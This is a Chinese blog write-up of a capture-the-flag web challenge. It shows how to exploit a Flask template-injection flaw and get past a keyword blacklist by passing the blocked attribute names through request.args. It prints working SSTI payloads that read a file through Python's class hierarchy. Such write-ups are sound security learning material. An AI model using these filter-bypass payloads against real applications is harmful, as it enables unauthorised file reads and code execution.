Web(Confusion1)

某天,Bob说:PHP是最好的语言,但是Alice不赞同。所以Alice编写了这个网站证明。在她还没有写完的时候,我发现其存在问题。(请不要使用扫描器)

题目场景:

(1)在登陆页面出现flag字段。

 本题目可能存在Python SSTI漏洞,类似于web(easytornado)。

SSTI知识:python-flask-ssti(模版注入漏洞)_新博客www.husins.cn的博客-CSDN博客_flask注入

(2)测试是否存在模板注入。

(3) 构造常规的payload读取flag文件。

{{''.__class__.__mro__[2].__subclasses__()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt").read()}}

读取失败,说明系统经过了过滤,经过尝试,发现系统过滤了常用的class、subclass、read等关键方法,但是并未过滤request。

request 是 Flask 框架的一个全局对象 , 表示 " 当前请求的对象( flask.request ) " 。

所以我们可以利用request.args绕过输入黑名单,进行沙箱逃逸。

沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程。其实就是闯过重重黑名单,最终拿到系统命令执行权限的过程。沙箱逃逸:SSTI/沙盒逃逸详细总结 - 安全客,安全资讯平台

将前面构造的payload,按照request.args置换之前会过滤的字段,以后遇到类似的情况,可以按照这个方法构造:{{request.args.a,request.args.b}}?a=xxxx&b=xxxxx

a=__class__

b=__mro__

c=__subclasses__

d=read

{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

flag出现!!!!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值